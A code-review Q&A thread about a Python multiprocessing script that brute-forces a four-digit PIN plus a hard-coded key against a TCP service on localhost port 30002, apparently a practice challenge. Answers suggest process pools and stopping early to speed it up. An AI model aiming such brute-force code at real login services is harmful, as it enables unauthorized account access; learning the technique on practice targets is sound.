3
\$\begingroup\$

My program brute-forces a password. The password is a string composed of a key and a four digit numeric code. The key is known so we are basically brute-forcing between 0000 through to 9999

An example password is:
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 4143

I updated that script I wrote to take advantage of multiprocessing in order to run faster. The basic idea is to divide the task by the number of CPUs available. There are two Events set up:

  • prnt_sig_found is used by subprocesses to tell the parent if they succeed in guessing the right password.
  • The parent process then uses child_sig_term to halt each subprocesses

My Python's rusty and I think I made some bad choices. It would be useful to have my assumptions invalidated. :)

#!/usr/bin/env python
# coding: utf-8

import multiprocessing as mp
import socket
import time
import math
import sys
import os

class Connection:
  def __init__(self, pin = 0, max_iter = 10000, sock = None):
    print('initizializing socket instance ...')

    self.pin = pin
    self.max_iter = max_iter

    self.password = 'UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
    self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

  def p_name(self):
    return mp.current_process().name

  def connect(self, host='127.0.0.1', port=30002):
    print(self.p_name(), 'connecting ...', host, port)
    self.sock.connect((host, port))
    print(self.p_name(), 'connection successful.')

  def write(self, msg):
    print(self.p_name(), 'sending', msg) 
    self.sock.sendall(msg)

  def read(self):
      print(self.p_name(), 'reading data ...')
      data = self.sock.recv(4096)
      return data

  def close(self):
    try:
      self.sock.shutdown(0)
      self.sock.close()
    except:
      pass

  def execute(self, child_sig_term, prnt_sig_found):
    start_time = time.time()
    print(self.p_name(), 'executing ...')

    self.connect()

    welcome_str = self.read()
    print(welcome_str)

    while self.pin < self.max_iter:
      if child_sig_term.is_set():
        break

      pin_str = str(self.pin).zfill(4)
      message = self.password + " " + pin_str + "\n" # add newline char to flush message or it doesn't get sent

      self.write(message.encode())
      received_msg = self.read()

      if 'Wrong' in received_msg:
        print(self.p_name(), 'Wrong guess %s', pin_str)
      else:
        print('_________________found_____________', received_msg)
        prnt_sig_found.set()
        break

      self.pin += 1
      time.sleep(0.5)

    end_time = time.time()
    total_time = end_time - start_time
    print(self.p_name(), "start: "+str(self.pin), ' end: '+str(self.max_iter), 'total_time: ', str((total_time)/60) + ' minutes')


def main():
  print('main')

  connections = []
  processes = []

  # requires read/write access to /dev/shm
  prnt_sig_found = mp.Event()
  child_sig_term = mp.Event()

  MAX_ITER_COUNT = 10000
  processor_count = mp.cpu_count()

  step_count = int(math.floor(MAX_ITER_COUNT / processor_count)) # math.floor returns a float in python 2
  end = step_count
  start = 0

  print('Initial values ->', processor_count, step_count, start, end)

  try:
    for i in range(processor_count):
      conn = Connection(pin = start, max_iter = end)
      proc_name = 'BF[ ' + str(start) + ' - ' + str(end) + ' ]'

      process = mp.Process(name=proc_name, target=conn.execute, args=(child_sig_term, prnt_sig_found))
      process.daemon = True

      connections.append(conn)
      processes.append(process)

      start = end + 1
      end += start + step_count

      # ensure start and end don't exceed max
      if MAX_ITER_COUNT < end  : end = MAX_ITER_COUNT
      if MAX_ITER_COUNT < start: start = MAX_ITER_COUNT

    # start all processes
    for process in processes:
      process.start()

    # wait for all processes to finish
    # block the main program until these processes are finished
    for process in processes:
      process.join()

    prnt_sig_found.wait()
    child_sig_term.set()

  except:
    pass

  finally:
    for conn in connections:
      conn.close()

    for process in processes:
      if process.is_alive():
        process.terminate()
        
      
if __name__ == '__main__':
  main()
\$\endgroup\$
2
\$\begingroup\$

Use process pools

The multiprocessing module already has functions to create a process pool, so you don't have to implement that yourself. There are functions to have it automatically start a number of tasks in one go. For example, using the map() function, you can enqueue a task for every possible 4-digit combination:

pool = mp.Pool();
pool.map(try_combination, range(10000))

This will have the worker threads run the try_combination() function on all values between 0 and 9999. In your case, you might want to avoid creating a single connection for each combination, so you should make it so that you don't enqueue a task for each combination, but rather have each task try many combinations. Have a look at the documentation of multiprocessing.pool to find out what is possible.

Using multiprocessing.pool should allow you to remove most of the code in main().

Stop other processes when you found the right combination

Your code spawns multiple processes, which each try out a range of combinations. You then wait for all of them to finish. But on average, you will find the right combination after only trying half the combinations, so you will be twice as efficient if you stop processing once you find the right combination. That means that instead of waiting for all of them to finish, you should wait for the first one to finish, check if it has found the combination, and if so stop the other processes.

With multiprocessing.pool you can do this using map_async() and terminate().

Remove most of the print() statements

I'm sure they were useful while creating the code, to see what it is doing and to debug any problems. But now that it is working, you should remove these statements. In the end, you are not interested in what is going on, just in the end result. Also don't print the amount of time it took, you can use external tools like the time command to measure how long your program took to run.

Consider replacing class Connection with a single function

You wrote a class to make a connection and try various combinations, but the only thing you ever do is construct it and call execute() once. A single function would be enough here.

Also, after removing the unnecessary print() statements, I see that most member functions are just a single statement. Instead of writing that member function and call it inside execute(), you could have written that statement directly inside execute(). So, move all other member functions and the constructor into execute(), move it out of the class, and give it a better name, like try_combinations().

\$\endgroup\$
  • \$\begingroup\$ About printing: Just watched someone recommend to "log all the things". Who's right? :-) \$\endgroup\$ – superb rain Sep 25 '20 at 22:10
  • 2
    \$\begingroup\$ @superbrain I personally don't think always logging all things is great. It's very useful to debug things, which is what you need when your software isn't finished yet, but once your software has become mature, I really don't see any point in having lots of details being printed that an end user won't be interested in, which clutter the code and which might even cause performance to suffer. When you do want to log, the tips mentioned in that video (using the logging module etc.) are great though. \$\endgroup\$ – G. Sliepen Sep 25 '20 at 22:45
  • \$\begingroup\$ @G.Sliepen Super helpful feedback, made some updates to the code. Regarding terminating other processes upon finding the right pin, I use prnt_sig_found.set() to signal the parent which then terminates the other child processes. I attempted using Pools but it looks like pool.map will call the map function for each input. This means that each call would require a new socket connection. But with my current approach, There's only one connection attempt per process. Not sure how this will impact performance, but it does seem lime reusing connections is a good idea. \$\endgroup\$ – SamAko Oct 1 '20 at 20:00

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.